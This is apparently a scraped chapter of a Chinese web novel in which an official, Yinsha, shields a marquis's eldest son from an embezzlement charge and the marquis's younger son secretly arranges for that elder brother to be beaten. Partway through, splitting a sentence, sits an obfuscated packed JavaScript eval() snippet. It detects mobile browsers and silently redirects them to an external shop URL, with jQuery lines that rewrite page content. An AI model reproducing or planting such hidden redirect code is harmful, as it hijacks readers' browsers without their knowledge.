153. 温家的好戏
作品:《黑月光在复仇路上杀疯了》 “下官真的错了,求侯爷责罚,无论是什么后果,下官都愿意一力承担,绝不敢有半句怨言。”
银沙的声音愈发轻柔,说完,便重重地给温琏磕了一个头,伏在地上,久久没有起身,背影显得格外单薄无助。
“还不快起身!”温琏的语气彻底软了下来,看着银沙单薄削瘦的身形,心中的最后一丝怀疑也渐渐烟消云散。
他清楚,银沙这般柔弱的女子,若是无人逼迫,绝不会轻易动祭典的心思,她这般揽下所有罪责,定然不是为了温锦华那个蠢货,而是太过忠于自己,爱屋及乌,才甘愿替温家遮掩。
温琏转身坐回椅子上,目光里带着几分怜惜,看着银沙缓缓站起身,依旧低垂着头,一副惶恐不安的模样,缓缓开口:“我了解你,你不是蠢人,自然知道这祭典的厉害,也清楚贪墨祭典银两的后果。说吧,到底是谁逼你这么做的,不必替他遮掩。”
“下官……下官没有被人逼迫,这事确实是下官一人所为,与旁人无关。”银沙的声音有些发颤,神色显得愈发慌乱。只是她看着并不擅长在温琏面前撒谎,额头上甚至渗出了细密的汗珠,连说话都变得有些语无伦次。
“我最后问你一遍,到底是谁让你这么做的?”温琏往前凑了凑,语气里带上了几分威慑,“现在主动说出来,我还能饶过你这一次;若是等我亲自查清楚,咱们之间的旧情,便不必再提了。”
温琏离得极近,周身的威压让银沙浑身紧绷,可她依旧咬着牙,语气坚定:“此事确实是银沙一人所为,与任何人无关。若是日后东窗事发,一切罪责都由银沙承担,绝不会牵连侯府分毫,更不会辜负侯爷的信任。”
温琏将她的慌乱与坚定尽收眼底,他清楚,银沙分明就是在撒谎,可这个谎言,却恰好说到了他的心坎里。即便在这般高压之下,她依旧没有吐露半句关于温锦华的不是,还一心想着保全侯府,这份忠心,让他彻底放下了心防。
温琏的眼神渐渐有了温度,语气也恢复了往日的温和:“这等小事,怎会牵连到侯府。你还年轻,往后的路还长,若是再遇到难处,只管跟我说,莫要再动这些歪心思,记住了吗?”
银沙表上仍是眼眶含泪,但是心中已经了然。温琏相信了她,并且已经知道一切都是温锦华做的,只是顾及候府的颜面没有点破。
她当即躬身行了一个大礼,语气恭敬:“是,下官谨记侯爷教诲,日后定当谨言慎行,绝不再犯。”
温琏此行本就是为了试探银沙,如今得了满意的答案,便没有再多停留,连一杯茶水都未曾饮用,起身便离开了银沙的宅子。
刚踏入侯府大门,便遇上了迎面走来的温安渝。
“儿子见过父亲。”温安渝连忙停下脚步,对着温琏深深行了一礼,姿态恭敬,神色温和。
他身上穿着一身崭新的软甲,身姿挺拔,眉眼间带着几分军人的英气。
温琏看着这身软甲,脸上露出了难得的笑意,语气里满是赞许:“你升作什长了?”
“回父亲,前些日子在军营中立了些微功,侥幸被提拔为什长。父亲是大将军,儿子这个小什长算不得什么的。”
温安渝语气谦逊,轻轻抬手摸了摸身上的软甲,神色间带着几分羞涩,连忙转移话题,“父亲,儿子前日在猎场猎到一头熊,今日已然带回府中,交给管家处置了。听闻熊胆对痹症有奇效,儿子已吩咐人好生炼制,等炼制妥当,父亲便可服用。那熊皮也极为厚实,如今天气日渐寒凉,儿子记得父亲在边塞时便畏寒,等熊皮揉制好,正好给父亲铺作褥垫,抵御风寒。”
少年滔滔不绝地说着,语气里满是真诚,他像是个得了宝贝便迫不及待要献给父亲的孩童,满心都是对父亲的孺慕与关切。
温琏心中倍感欣慰,这才是他温琏的儿子该有的模样。
既有孝心,又有能力,不靠着侯府的威望,仅凭自己的本事,一介白身在军营中短短两个月便做到了什长的位置,比那个不成器的长子强上百倍。
“你有心了。”温琏看着眼前的少年,轻轻拍了拍他的肩膀。
从前的瘦弱早已褪去,取而代之的是挺拔与精悍,他眼中满是为父者的骄傲,连连点头,“这般模样,才像个武将的样子。”
“父亲……”温安渝还想再说些关心的话语,却被温琏抬手制止。
“今日为父心情不好,不便与你多聊。”温琏语气欣慰中还藏着几分疲惫,“既然今日休沐,你便回院好好歇息,若是缺什么东西,直接跟温良说便是。”
“儿子明白,父亲公务繁忙,也请多保重身体。”温安渝躬身应下,目光真诚地目送温琏离去。
直到温琏的身影彻底消失在视线中,他脸上的温和与孺慕才瞬间褪去,取而代之的是一片冰冷与淡漠。
他面无表情地转身,快步朝着自己的院子走去,步履匆匆,没有丝毫停留。
刚踏入院门,便见发财早已在院中等候,神色恭敬地立在一旁,见他进来,当即躬身行礼。
“少爷。”发财快步迎上前,麻利地为温安渝褪去身上的软甲,顺手换上一身轻便常服。他动作利落,不敢有半分拖沓,他深知眼前的二少爷已经与以前那个纨绔子不一样,现在的他最是眼里揉不得沙子。
温安渝抬手松了松领口,语气平淡却藏着几分探究:“侯府里今日可有异动?”
他刻意穿着什长的软甲返程,本就存了几分想要在父亲面前卖乖的心思,万幸刚进府便撞见安定侯,倒省了他再去刻意打探的功夫。只是刚刚瞧着父亲脸色有些不太对,应是发生了什么事情。
发财垂首回话,语气谨慎:“回少爷,一个时辰前,侯爷在议事厅发了大火,动静闹得不小。”
“可知缘由?”温
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409463|190799||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安渝走到案边坐下,指尖轻叩桌面,神色渐沉。他这位父亲虽然性子霸道、脾气火爆,但是若非事出有因,绝不会在议事厅失了分寸。
“奴才听底下人说,侯爷发火前,曾让温管家去请大公子去议事厅。只是大公子没独自过去,反倒带着大夫人一同去了。”
发财的声音压得更低,言外之意再明显不过。
那位大公子素来懦弱废物,但凡惹得侯爷不悦,总要把大夫人推到前面挡祸。
温安渝眼底掠过一丝冷意,语气里添了几分不耐:“所以父亲到底是因为什么发火?连这点事都打听不透彻?看来我许久不在府中,你们倒是越发懈怠了。”
这话如寒冰浇下,发财浑身一僵,连忙双膝跪地,额头抵着地面:“少爷息怒!奴才早已遣人去细查,只是消息还没传回来,绝非奴才懈怠!”
屋内的低气压正浓,门外忽然传来轻轻的敲门声。发财心头一松,连忙抬头:“公子,定是消息来了!”
温安渝面无表情地摆了摆手,发财会意,快步冲出门去。不过片刻,他便攥着一张字条回来,将议事厅里发生的一切,一五一十地禀报给温安渝。
温安渝的眉头越皱越紧,指节因用力而微微泛白。原来他不在府中的这些日子,竟发生了这么多事。
他那个草包大哥,竟敢借着贪污之事为难银沙。更可笑的是,这蠢货还浑然不觉,无意间成了福临海的绊脚石,得罪了人都不知道。
他冷哼一声,心底已有盘算。今日恰逢休沐,他有的是时间,给这位蠢大哥一点教训,也算为银沙出了这口恶气。
对于银沙的心思,他虽从未想过宣之于口,但也愿悄悄护着银沙,不让她再受半分委屈。
这样想着,温安渝便一个人悄悄出了候府。
另一边,银沙下值后乘着马车返程,途中忽然听到车外传来一阵喧哗。她正闭目养神,扬声问道:“外面何事吵闹?”
今日是清风来接她下值。只听清风憨厚的声音传来:“回大人,前头有些像是温大公子,瞧着是被人打了,看着伤得不轻。”
银沙有些惊讶地一挑眉,温大公子被人当街打了?
这般好戏,她自然不会错过。她掀开门帘下了马车,清风连忙上前护着,挤过围观的人群,径直走到被打得鼻青脸肿的温锦华面前。
果真是温锦华!
只见他瘫坐在地上,双手捂着脸颊,疼得哼哼唧唧,往日里的贵公子架子荡然无存。
银沙上前,规规矩矩地行了一礼,语气却带着几分似有若无的嘲讽:“大公子,您怎么会在这里?侯府指派的随从呢?怎么只剩您一个人?要不要我派人去通知侯爷,来接您回府?”
温锦华抬眼见到银沙,瞬间想起昨日在议事厅,自己为了脱罪,将她推出去顶罪的事,心底顿时泛起一阵心虚,连疼痛都淡了几分。

